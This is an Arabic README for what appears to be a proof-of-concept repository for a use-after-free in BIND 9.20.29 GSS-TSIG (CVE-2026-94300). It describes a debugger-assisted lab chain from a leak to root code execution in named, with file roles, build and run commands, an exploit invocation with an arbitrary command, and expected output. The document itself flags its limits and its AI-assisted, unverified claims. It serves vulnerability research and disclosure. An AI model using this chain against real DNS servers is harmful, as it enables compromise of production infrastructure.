
نسخة إثبات مفهوم (PoC) وتحليل مكتفٍ ذاتيًا لـ CVE-2026-94300، وهو ثغرة استخدام بعد التحرير (use-after-free) في GSS-TSIG ضمن BIND 9.20.29، مع نموذج بمساعدة المُنقِّح (debugger) لسلسلة الانتقال من تسريب الذاكرة إلى تنفيذ الشيفرة.
ملاحظة: أُنتج هذا التحليل وPoC إلى حد كبير بمساعدة الذكاء الاصطناعي ("ترقيع بالذكاء الاصطناعي"). يجب التحقق من كل ادعاء يتعلق بالكود أو الفروقات (diff) أو القياسات مقابل المصادر المذكورة قبل الاعتماد عليه.
مجلد PoC مكتفٍ ذاتيًا لسلسلة استغلال CVE-2026-94300 (BIND 9.20.29 مع GSS-TSIG، krb5 1.20.1، jemalloc 5.3.0).
ما تم إثباته هنا: مجموعة عناوين مسرّبة (هنا من gdb) كافية لبناء تنفيذ تعليمات برمجية في
عملية named انطلاقًا من الأوليات (primitives) المقيسة. الاستغلال يستهلك التسريب من
docker logs؛ ولا يحتوي على أي عناوين حرفية.
ما هو صراحةً نموذج هنا (وقد ذُكر كذلك في التقرير):
| الافتراض | السبب |
|---|---|
| التسريب من gdb | لا يمتلك CVE أولية تسريب معلومات؛ سيتعين على تسريب حقيقي أن يأتي من ثغرة أخرى |
إيقاف ASLR (setarch -R) | بدون تسريب لا توجد عناوين كومة (heap) أو كود |
| التحكم في محتوى الكائن محقون عبر gdb | لم ينجح استرداد الفتحة المحررة ذات الـ 8 بايت في المسار الحقيقي بالوسائل المفحوصة هنا (4.7 مليون محاولة، 0 إصابة) — عقبة موثقة، وليست دليلًا على الاستحالة |
لا يوجد RCE عن بُعد مُثبت ولا استمرارية (persistence). يُعطى الأمر عبر --cmd على الاستغلال: يسلّمه host/exploit.py عبر قناة التحكم في Docker (docker exec، نفس الصلاحية التي يملكها المشغّل بالفعل) إلى الحاوية؛ أما الاستغلال نفسه
فيرسل فقط العناوين المسرّبة والحزمة (packet) الملتقطة. كما يكتب الحمولة (payload) سطر RCE-PROOF (للتحقق) وتُنهي named.
sequenceDiagram
participant R as Researcher (host)
participant V as Container: named 9.20.29 + gdb
participant L as docker logs
R->>V: docker run -p 127.0.0.1:15353:53/udp
V->>V: TKEY capture (no send), gdb breaks on dns_db_currentversion
V->>L: LEAK: db=…, methods=…, heap=…, wire_b64=… (sha256)
V->>V: model armed, waits for host replay
R->>L: read docker logs + validate (11 checks)
R->>V: docker exec: --cmd to /tmp/rce-payload-cmd
R->>V: UDP replay of the leaked signed packet to 15353
V->>V: krb5_k_free_key → free(db) → reclaim → fake dns_db_t
V->>V: dns_db_currentversion → jmp *methods+0x30 → payload
R->>V: docker exec cat /tmp/rce-proof
| المسار | الغرض |
|---|---|
docker/Dockerfile | صورة الضحية: BIND 9.20.29 من أرشيف ISC tarball + gdb + KDC + برامج التشغيل المخبرية |
etc/ | krb5.conf، kdc.conf، named.conf، zone (تُنسخ إلى /etc بواسطة الصورة) |
host/exploit.py | استغلال من المضيف: يقرأ docker logs، يتحقق، يعيد الإرسال عبر UDP، يفحص العلامة |
lab/rce_victim.sh | برنامج تشغيل داخل الحاوية: named تحت gdb، التقاط بدون إرسال، تسريب، انتظار |
lab/rce_model.py | نموذج gdb: نقاط التوقف، كتلة التسريب، التسليح، مراقبة الإرسال |
lab/rce_leak.py | مرحلة التسريب: العناوين + wire_b64 → stdout/ملف |
lab/rce_exploit.py | مرحلة الاستغلال في الحاوية: بناء كائن مزيف من التسريب، استعادة، إرسال |
lab/rce_shim.c | shim الصفحة الثابتة: جدول مزيف، قالب dns_db_t مزيف، الحمولة |
lab/replay-lab.py | التقاط TKEY (--no-send) |
lab/gss_context_lab.py | مساعد سياق GSS للالتقاط |
lab/start.sh، lab/named.replay.conf | تهيئة KDC/keytab/zone، إعداد named |
RACE.md | شرح حالة التسابق على سياق GSS-TSIG المشترك: المشاركة، الوصولات، المحفز، القياسات، تحديد النطاق |
VERIFY.md | التحقق من الادعاءات الثلاثة مقابل فرق المصدر 9.20.29 → 9.20.30 (قفل GSS-TSIG، تفريغ keyring المدمّر، تحديد نطاق RCE) |
EXPLOIT.md | وصف الاستغلال مع أدلة الكود وMermaid |
USAGE.md | البناء، التشغيل، المخرجات المتوقعة، استكشاف الأخطاء وإصلاحها |
ANAYLSE.md | ملحق إفصاح جاهز للنشر (توفيق الأثر DoS مقابل RCE المحتمل، الإصدارات المتأثرة، التخفيف، الكشف) — بدون أوليات الاستغلال |
ANALYZE.md | النسخة الإنجليزية من ملحق الإفصاح |
(هذا الملف هو README.md؛ وثائق PoC الأخرى موجودة أيضًا كـ RACE.md، VERIFY.md،
EXPLOIT.md، USAGE.md.)
فقط Docker + الإنترنت في وقت البناء. تبني الصورة BIND 9.20.29 بنفسها من أرشيف
ISC الرسمي (https://downloads.isc.org/isc/bind9/9.20.29/bind-9.20.29.tar.xz، SHA-256 مثبّت)،
مع --with-gssapi=yes، وتثبّت gdb وMIT Kerberos KDC وبرامج التشغيل المخبرية. لا حاجة إلى
BIND من التوزيعة، ولا إلى صورة أساسية مبنية مسبقًا.
تحتوي الصورة على هوية KDC مؤقتة [email protected] (كلمة المرور attacker،
النطاق EXAMPLE.TEST، KDC على 127.0.0.1:88 داخل الحاوية فقط) — لهذا المختبر حصريًا، وليس
لاختبارات GSS-TSIG ضد خوادم أخرى؛ لا تُخرج keytab من الحاوية.
cd poc/CVE-2026-94300-poc
docker build -f docker/Dockerfile -t cve-2026-94300-victim .
# Terminal 1: container
docker run --rm --name cve-2026-94300-victim \
-p 127.0.0.1:15353:53/udp \
--security-opt seccomp=unconfined \
cve-2026-94300-victim # prints the LEAK block to stdout
# Terminal 2: exploit from the host, target + command as arguments
python3 host/exploit.py --ip 127.0.0.1 --port 15353 --cmd 'id > /tmp/bla'
docker exec cve-2026-94300-victim cat /tmp/bla # uid=0(root) …
المتوقع (مقتطف):
LEAK: db=0x7ffff6901c00
LEAK: db_methods=0x7ffff7c497c0
LEAK: payload=0x7ffff7fbe37b
LEAK: wire_len=3907
HOST-EXPLOIT-VALIDATE OK checks=11
HOST-EXPLOIT-REPLAY target=127.0.0.1:15353 bytes=3907
RCE-DISPATCH-INDIRECT target=0x7ffff7fbe37b (rce_payload) match=YES
RCE-PAYLOAD-EXECUTED RCE-PROOF pid=… uid=0 euid=0 db=0x7ffff6901c00
HOST-EXPLOIT-VERDICT payload_executed=YES marker=YES
جملة إرشادية: تُصنّف ISC الثغرة CVE-2026-94300 على أنها بعيدة المدى، عالية الخطورة، بدرجة CVSS 8.1 (AC:H) مع احتمال تنفيذ شيفرة برمجية. ما هو مُثبت علنًا وقابل لإعادة الإنتاج هو تلف في الذاكرة (use-after-free/double-free) يُستثار بإعادة التشغيل دون الحاجة إلى بيانات اعتماد على سياق GSS-TSIG المشترك — من فئة حجب الخدمة (DoS) إلى تلف الكومة (heap corruption). أما المسار إلى تنفيذ الشيفرة فقد أُظهر حتى الآن فقط في ظل افتراضات نموذجية بمساعدة المُنقِّح (debugger) (تعطيل ASLR، وحقن العناوين/محتويات الكائنات)؛ ولا يوجد أي RCE بعيد مُثبت.
المُثبت: بوجود تسريب، يتبع RCE في العملية الهدف. غير المُثبت: هجوم بعيد دون تسريب ودون gdb — إذ يغيب البدائي الخاص بتسريب المعلومات وخطوة الاستعادة المُحققة اللازمة لذلك. هذه مجموعة موثقة من العقبات، وليست برهانًا على الاستحالة؛ فـ ISC تحمل فئة تنفيذ الشيفرة على أنها محتملة. أما الأساس البرمجي (خطأ المزامنة، والتفريغ المُدمِّر، وما يُصلحه الترقيع وما لا يُصلحه) فمُدقق في VERIFY.md مقابل الفرق بين الشجرتين؛ وكيفية عمل حالة التسابق تقنيًا موجودة في RACE.md. تفاصيل الاستغلال والأدلة البرمجية: EXPLOIT.md، والتنفيذ والخيارات: USAGE.md. الإفصاح الجاهز للنشر: ANALYZE.md.